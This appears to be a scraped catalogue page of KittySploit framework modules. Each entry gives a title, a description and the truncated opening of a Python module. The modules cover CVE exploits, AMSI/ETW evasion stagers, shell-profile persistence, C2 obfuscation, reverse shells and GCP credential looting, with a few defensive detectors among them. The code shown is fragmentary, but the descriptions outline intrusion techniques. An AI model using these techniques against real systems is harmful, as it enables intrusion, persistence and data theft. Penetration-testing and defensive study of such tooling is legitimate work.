Favicon HTTP Fingerprint

Collect favicon hashes Shodan-compatible MurmurHash3 and HTTP fingerprints Server, powered-by, title for host correlation and shadow-asset discovery. !/usr/bin/env python3 -- coding: utf-8 -- """Favicon and HTTP fingerprint pivoting for host correlation.""" from future import annotations import...

WinRM Service Detection

Detects WinRM /wsman endpoints on ports 5985/5986. !/usr/bin/env python3 -- coding: utf-8 -- """Detect WinRM /wsman endpoints and advertised auth methods.""" from kittysploit import from lib.protocols.tcp.tcpscannerclient import Tcpscannerclient from lib.scanner.winrm.detectors import probewinrm...

Module Stomping Evasion

Generate a Windows x64 EXE that loads a benign DLL default: version.dll, stomps its .text section with decrypted shellcode, and executes in-place. !/usr/bin/env python3 -- coding: utf-8 -- """ Module stomping evasion loader. Loads a legitimate DLL locally, overwrites its .text section with...

Shell Profile Persistence

Persists a payload in shell startup files: /.bashrc, /.profile, /etc/profile.d/, or a custom profile path. !/usr/bin/env python3 -- coding: utf-8 -- from kittysploit import from lib.post.linux.persistencehelpers import LinuxPersistenceMixin, PERSISTENCEAGENT class ModulePost, LinuxPersistenceMixi...

Langflow < 1.9.0 Public Build RCE (CVE-2026-33017)

CVE-2026-33017: Langflow versions below 1.9.0 allow unauthenticated remote code execution by posting a malicious custom component to /api/v1/buildpublictmp/flowid/flow with a clientid session cookie. !/usr/bin/env python3 -- coding: utf-8 -- import json from kittysploit import from...

SMB session acquire

Chains SMB recon null session, guest, credentials or wordlists and opens an authenticated SMB session when access is obtained. !/usr/bin/env python3 -- coding: utf-8 -- """ Probe SMB authentication profiles and open an interactive SMB session. Workflow: 1. Check null session / guest / supplied...

PowerShell Stager Evasion

Writes a PowerShell backdoor with optional AMSI bypass and ETW patch. Supports reverse-shell mode or shellcode stager mode VirtualAlloc + CreateThread. !/usr/bin/env python3 -- coding: utf-8 -- """ PowerShell stager with AMSI/ETW evasion prelude. Generates a .ps1 script with optional in-process...

Windows External Tool Runner

Upload a local binary or script to the target, execute it with operator-supplied arguments, and optionally download a remote output file. !/usr/bin/env python3 -- coding: utf-8 -- """ Upload a local operator tool to the target, execute it, and optionally pull an output artifact back through the...

XOR Stream Transform

XORs the C2 stream with a repeating key. Symmetric encode/decode. Evades simple signature detection. !/usr/bin/env python3 -- coding: utf-8 -- from typing import Optional from kittysploit import class ModuleTransform: """XOR stream transform - obfuscates C2 traffic with a repeating XOR key."""...

HTTPS Mimic Transform

Sends fake TLS 1.2 Client/Server Hello at start, then TLS Application Data. !/usr/bin/env python3 -- coding: utf-8 -- from typing import Optional from kittysploit import TLS record: type 1 + version 2 + length 2 + fragment TLSHEADERLEN = 5 TLSHANDSHAKE = 0x16 TLSAPPLICATIONDATA = 0x17 TLSVERSION1...

OpenSSL Heartbleed CVE-2014-0160 detection

Sends a malformed TLS heartbeat CVE-2014-0160 and reports whether the server returns more data than declared. Supports direct TLS e.g. HTTPS and cleartext services that upgrade with STARTTLS/STLS/AUTH TLS. !/usr/bin/env python3 -- coding: utf-8 -- """Detect OpenSSL Heartbleed CVE-2014-0160 via...

OpenSSL Heartbleed CVE-2014-0160 - Memory dump

Repeatedly triggers the TLS heartbeat over-read CVE-2014-0160 to collect server memory. Optional RSA private key reconstruction when the leaked buffer contains prime factors matching the service certificate modulus. !/usr/bin/env python3 -- coding: utf-8 -- """Exploit OpenSSL Heartbleed...

Check Redis Hardening

Audit common Redis security misconfigurations from kittysploit import from lib.protocols.redis.redisclient import RedisClient class ModulePost, RedisClient: info = "name": "Check Redis Hardening", "description": "Audit common Redis security misconfigurations", "author": "KittySploit Team",...

MeiG FORGE_SLT711 CVE-2026-36356 (GoAhead blind OS command injection) detection

Detects unauthenticated blind OS command injection in MeiG Smart FORGESLT711 Ortel 4G LTE CPE and related MDM9607 GoAhead firmware. Fingerprints the web UI, then sends a timed sleep payload to POST /action/SetRemoteAccessCfg. !/usr/bin/env python3 -- coding: utf-8 -- from kittysploit import from...

GCP Logging Sinks

Enumerate Cloud Logging sinks in the current GCP project !/usr/bin/env python3 -- coding: utf-8 -- import json from kittysploit import from lib.post.gcp import GcpPostMixin class ModulePost, GcpPostMixin: info = "name": "GCP Logging Sinks", "description": "Enumerate Cloud Logging sinks in the...

GCP Cloud Run Env Vars Loot

Extract environment variables from Cloud Run services and jobs !/usr/bin/env python3 -- coding: utf-8 -- import json from kittysploit import from lib.post.gcp import GcpPostMixin class ModulePost, GcpPostMixin: info = "name": "GCP Cloud Run Env Vars Loot", "description": "Extract environment...

AD Object ACL Operations

Runs common bloodyAD object/ACL operations: set owner, add GenericAll, move DN, set password, enable account. !/usr/bin/env python3 -- coding: utf-8 -- import os import shlex import shutil import subprocess from kittysploit import try: from ldap3 import ALL, Connection, Server LDAP3AVAILABLE = Tr...

D-Link / ZynOS ROM-0 admin password disclosure

Unauthenticated download of /rom-0 on ZynOS / RomPager-based routers exposes a compressed configuration blob. LZS decompression at offset 8568 reveals the device administrator password in plaintext. Tested on D-Link DSL-2600U firmware v1.08; affects multiple D-Link, TP-Link, ZyXEL, and ZTE models...

GCP Workload Identity Federation

Analyze workload identity pools, providers, and risky federation configurations !/usr/bin/env python3 -- coding: utf-8 -- import json from kittysploit import from lib.post.gcp import GcpPostMixin class ModulePost, GcpPostMixin: info = "name": "GCP Workload Identity Federation", "description":...

GCP Compute SSH Pivot via Metadata

Pivot to a VM by injecting an SSH key into Compute metadata and preparing a Compute SSH session !/usr/bin/env python3 -- coding: utf-8 -- import json import time from kittysploit import from lib.post.gcp import GcpPostMixin class ModulePost, GcpPostMixin: info = "name": "GCP Compute SSH Pivot via...

GCP Storage HMAC Keys Loot

List Cloud Storage HMAC keys used for S3-compatible interoperability access !/usr/bin/env python3 -- coding: utf-8 -- import json from kittysploit import from lib.post.gcp import GcpPostMixin class ModulePost, GcpPostMixin: info = "name": "GCP Storage HMAC Keys Loot", "description": "List Cloud...

GCP Storage Bucket Objects Loot

List and optionally preview objects from Cloud Storage buckets !/usr/bin/env python3 -- coding: utf-8 -- import json from urllib.parse import quote from kittysploit import from lib.post.gcp import GcpPostMixin class ModulePost, GcpPostMixin: info = "name": "GCP Storage Bucket Objects Loot",...

GCP Generate Access Token

Generate a short-lived OAuth2 access token for a target service account !/usr/bin/env python3 -- coding: utf-8 -- import json from kittysploit import from lib.post.gcp import GcpPostMixin class ModulePost, GcpPostMixin: info = "name": "GCP Generate Access Token", "description": "Generate a...

GCP Firestore Recursive Dump Loot

Recursively dump Firestore documents and nested subcollections from the default database !/usr/bin/env python3 -- coding: utf-8 -- import json from kittysploit import from lib.post.gcp import GcpPostMixin class ModulePost, GcpPostMixin: info = "name": "GCP Firestore Recursive Dump Loot",...

GCP Add SSH Key Metadata

Add an SSH public key to project or instance metadata for legacy SSH access !/usr/bin/env python3 -- coding: utf-8 -- import json from kittysploit import from lib.post.gcp import GcpPostMixin class ModulePost, GcpPostMixin: info = "name": "GCP Add SSH Key Metadata", "description": "Add an SSH...

GCP Firebase Realtime Database Loot

Discover Firebase RTDB instances and read database JSON via authenticated REST access !/usr/bin/env python3 -- coding: utf-8 -- import json from kittysploit import from lib.post.gcp import GcpPostMixin class ModulePost, GcpPostMixin: info = "name": "GCP Firebase Realtime Database Loot",...

GCP Service Account Risk

Assess service account hygiene, key exposure, and privilege concentration !/usr/bin/env python3 -- coding: utf-8 -- from kittysploit import from lib.post.gcp import GcpPostMixin class ModulePost, GcpPostMixin: info = "name": "GCP Service Account Risk", "description": "Assess service account...

GCP Cloud Function Deploy Command Pivot

Deploy a Gen2 Cloud Function via Cloud Build that executes an arbitrary command on HTTP invoke !/usr/bin/env python3 -- coding: utf-8 -- import json import re import time from kittysploit import from lib.post.gcp import GcpPostMixin class ModulePost, GcpPostMixin: info = "name": "GCP Cloud Functi...

GCP Cloud Build History Loot

Extract Cloud Build history, substitutions, images, and secret references !/usr/bin/env python3 -- coding: utf-8 -- import json from kittysploit import from lib.post.gcp import GcpPostMixin class ModulePost, GcpPostMixin: info = "name": "GCP Cloud Build History Loot", "description": "Extract Clou...

GCP Artifact Registry Images Loot

List Artifact Registry repositories, packages, and image versions !/usr/bin/env python3 -- coding: utf-8 -- import json from kittysploit import from lib.post.gcp import GcpPostMixin class ModulePost, GcpPostMixin: info = "name": "GCP Artifact Registry Images Loot", "description": "List Artifact...

MeiG FORGE_SLT711 GoAhead blind OS command injection (CVE-2026-36356)

Unauthenticated blind OS command injection in MeiG Smart FORGESLT711 Ortel 4G LTE CPE and related MDM9607 firmware. The GoAhead endpoint POST /action/SetRemoteAccessCfg passes the JSON password field to sprintf"echo root:"%s"|chpasswd" and system as root. !/usr/bin/env python3 -- coding: utf-8 --...

Meterpreter Bind TCP

Meterpreter bind TCP handler with post-exploitation capabilities !/usr/bin/env python3 -- coding: utf-8 -- from kittysploit import import socket import threading import time import struct class ModuleListener: """Meterpreter bind TCP handler — connects to a bind payload on the target""" info =...

Zig Meterpreter macOS, Bind TCP

macOS Meterpreter bind TCP payload in Zig requires Zig compiler !/usr/bin/env python3 -- coding: utf-8 -- from kittysploit import from core.payloadtemplates.zigmeterpreterbindtcp import ZigMeterpreterBindTcpBase class ModuleZigMeterpreterBindTcpBase, Payload: info = 'name': 'Zig Meterpreter macOS...

Unix Command Shell, Reverse TCP (via Perl)

Connect back and create a command shell via Perl IO::Socket from kittysploit import class ModulePayload: info = 'name': 'Unix Command Shell, Reverse TCP via Perl', 'description': 'Connect back and create a command shell via Perl IO::Socket', 'category': PayloadCategory.CMD, 'arch': Arch.PERL,...

Wayback Surface Hunter

Mine Internet Archive Wayback CDX for historical URLs and flag forgotten sensitive endpoints — admin panels, configs, backups, API docs, and debug paths. from kittysploit import import json import re from urllib.parse import urlparse from lib.protocols.http.httpclient import Httpclient class...

Joomla JCE < 2.9.99.5 - Unauthenticated RCE (CVE-2026-48907)

Exploits CVE-2026-48907 in Joomla JCE Editor 2.9.99.5: unauthenticated arbitrary file upload via profile import or JCE browser chain, followed by PHP webshell execution. !/usr/bin/env python3 -- coding: utf-8 -- from kittysploit import from lib.protocols.http.httpclient import Httpclient from...

Windows Gather RDP Files

Find and parse saved Remote Desktop .rdp files in common user locations on a Windows shell or Meterpreter session. !/usr/bin/env python3 -- coding: utf-8 -- """ Enumerate and parse saved .rdp client files on a Windows session. """ from kittysploit import from lib.post.windows.session import...

Bluetooth LE Scanner

Discover nearby BLE devices using passive/active advertisement scanning. !/usr/bin/env python3 -- coding: utf-8 -- """Discover nearby Bluetooth Low Energy BLE devices.""" from future import annotations import asyncio from typing import Dict from kittysploit import class ModuleAuxiliary: info =...

AD honeytoken hunt (lastLogon oracle)

Flags probable AD honeytokens/decoys via empty auth history lastLogon=0, logonCount=0 and feeds Guardian. !/usr/bin/env python3 -- coding: utf-8 -- """ Repérage de honeytokens AD via l'oracle lastLogon historique comportemental. Préférer le module SMB SAMR, port 445 : scanner/smb/honeytokenhunt C...

WiFi Deauth Detector

Passively detect 802.11 deauthentication and disassociation frames on a monitor-mode interface to spot deauth floods or rogue disconnect attacks. !/usr/bin/env python3 -- coding: utf-8 -- """Detect 802.11 deauthentication and disassociation frames passive WIDS.""" from future import annotations...

Frigate NVR RCE detection (CVE-2026-25643)

Detects CVE-2026-25643 by fingerprinting Frigate NVR and checking whether the reported version is = 0.16.3. Optionally confirms an unauthenticated exploit path when /api/config/raw is reachable without credentials. !/usr/bin/env python3 -- coding: utf-8 -- import json from kittysploit import from...

Windows Gather Autologon and Unattend Secrets

Read Winlogon autologon values from the registry and scan Panther/Sysprep unattend XML files for cleartext passwords on a Windows session. !/usr/bin/env python3 -- coding: utf-8 -- """ Search Winlogon autologon registry values and unattend/sysprep XML files for embedded credentials on a Windows...

WordPress The Events Calendar CVE-2026-49772 (SQLi)

Detects CVE-2026-49772 in The Events Calendar 6.15.12–6.16.2: unauthenticated blind SQL injection via the order parameter on /wp-json/tec/v1/events. !/usr/bin/env python3 -- coding: utf-8 -- import time from urllib.parse import urlencode from kittysploit import from lib.protocols.http.httpclient...

Windows Gather Clipboard

Read the current clipboard text from the interactive desktop session on a Windows shell or Meterpreter session. !/usr/bin/env python3 -- coding: utf-8 -- """ Read the current Windows clipboard text from an interactive user session. """ from kittysploit import from lib.post.windows.session import...

Android WiFi Audit

Audit Android Wi-Fi posture: radio state, current connection, saved networks, MAC randomization, proxy, and insecure configurations. !/usr/bin/env python3 -- coding: utf-8 -- """Audit Wi-Fi posture on a compromised Android device.""" from future import annotations import re from kittysploit impor...

Test

Test payload !/usr/bin/env python3 from kittysploit import class ModulePayload: info = 'name': 'Test', 'description': 'Test payload', 'listener': 'listeners/multi/reversetcp', def generateself: return b"\x90\xcc"...

WiFi Beacon Scanner

Capture 802.11 beacon frames on a monitor-mode interface and list visible wireless networks SSID and BSSID. !/usr/bin/env python3 -- coding: utf-8 -- """Sniff 802.11 beacon frames on a monitor-mode interface.""" from future import annotations from typing import Dict from kittysploit import class...

P2P Relay Listener

Operator listener for NAT-friendly C2 via KittyRelay hub v2 E2E encrypted. Start the hub with the standalone command: kittyrelay no framework. Agents use p2p relay payloads; operators use this module role=operator. !/usr/bin/env python3 -- coding: utf-8 -- """ P2P Relay Listener operator side The...

PostgreSQL Read Server File

Read a server file via pgreadfile requires superuser from kittysploit import from lib.protocols.postgresql.postgresqlclient import PostgreSQLClient class ModulePost, PostgreSQLClient: info = "name": "PostgreSQL Read Server File", "description": "Read a server file via pgreadfile requires...

Enumerate PostgreSQL Configuration

Dump security-relevant server settings and paths from kittysploit import from lib.protocols.postgresql.postgresqlclient import PostgreSQLClient class ModulePost, PostgreSQLClient: info = "name": "Enumerate PostgreSQL Configuration", "description": "Dump security-relevant server settings and paths...